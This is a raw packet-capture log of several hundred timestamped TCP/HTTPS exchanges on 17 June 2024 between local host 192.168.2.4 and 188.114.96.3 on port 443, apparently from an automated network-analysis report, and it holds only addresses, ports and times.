Jun 17, 2024 16:19:05.512121916 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512128115 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512172937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512172937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512315989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512358904 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512387991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512393951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512422085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512437105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512598038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512650967 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512659073 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512681007 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512712002 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512732029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512856960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512897968 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512964964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512964964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512972116 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513005018 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513037920 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513078928 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513108015 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513114929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513134003 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513201952 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513250113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513252020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513261080 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513277054 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513312101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513339043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513458014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513498068 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513534069 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513540030 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513551950 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513573885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513643026 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513695002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513751984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513752937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513758898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513796091 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513835907 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513878107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513895035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513900995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.513926029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.513999939 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514033079 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514045000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514053106 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514071941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514103889 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514143944 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514249086 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514287949 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514332056 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514337063 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514347076 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514369965 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514440060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514482021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514506102 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514511108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514538050 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514554024 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514621019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514662027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514681101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514687061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514709949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514727116 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514803886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514842987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514870882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514878035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.514900923 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514914989 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.514988899 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515028954 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515064001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515069008 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515085936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515103102 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515171051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515212059 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515239954 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515248060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515266895 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515285015 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515358925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515399933 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515424013 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515429020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515453100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515470982 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515501022 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515547037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515561104 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515567064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515599012 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515614986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515747070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515786886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515813112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515820980 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515840054 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515857935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.515933990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515971899 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.515995979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516000986 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516026020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516041994 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516110897 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516148090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516186953 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516191959 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516213894 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516227007 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516304970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516345978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516366959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516371965 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516395092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516412020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516540051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516597986 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516614914 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516621113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516645908 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516661882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516745090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516787052 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516813040 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516820908 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516839027 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516860962 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516917944 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516962051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.516976118 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.516987085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517040968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517040968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517132044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517170906 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517215014 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517220020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517230988 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517285109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517338037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517379045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517401934 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517406940 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517424107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517442942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517529964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517571926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517591953 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517596960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517618895 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517635107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517704964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517745018 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517774105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517781019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517802954 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517817974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517885923 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517925978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517954111 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517961025 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.517983913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.517999887 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518070936 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518115997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518142939 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518150091 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518173933 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518189907 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518250942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518290997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518316031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518321037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518372059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518372059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518429995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518467903 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518496037 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518502951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518526077 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518542051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518610001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518651962 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518680096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518696070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518707991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518728018 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518810987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518851995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518872976 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518878937 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.518899918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518919945 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.518974066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519026041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519033909 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519114017 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519151926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519162893 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519254923 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519295931 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519316912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519331932 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519354105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519371986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519438028 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519484997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519510031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519515038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519541025 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519556999 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519637108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519684076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519710064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519720078 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519736052 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519762039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519821882 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519864082 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519882917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519887924 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519912958 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519931078 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519943953 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519961119 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.519989967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.519995928 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520016909 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520018101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520041943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520068884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520073891 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520091057 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520092010 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520112038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520116091 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520127058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520144939 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520167112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520178080 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520191908 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520224094 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520226002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520234108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520251036 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520252943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520287991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520293951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520303011 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520312071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520314932 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520328999 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520334005 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520349979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520380020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520457029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520472050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520502090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520507097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520520926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520544052 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520593882 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520611048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520657063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520662069 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520672083 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520688057 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520688057 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520709991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520740032 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520744085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.520778894 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.520903111 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521022081 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521068096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521083117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521117926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521122932 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521131992 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521147966 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521150112 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521178961 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521183968 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521203041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521228075 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521306038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521321058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521357059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521363020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521404028 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521631956 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521650076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521687984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521692991 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521716118 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521732092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521749973 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521908045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521924019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521960974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.521971941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.521991968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522008896 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522042036 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522056103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522085905 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522090912 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522114992 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522130013 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522170067 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522176027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522188902 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522226095 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522229910 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522263050 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.522918940 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522938013 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.522980928 CEST	65277	443	192.168.2.4	188.114.96.3
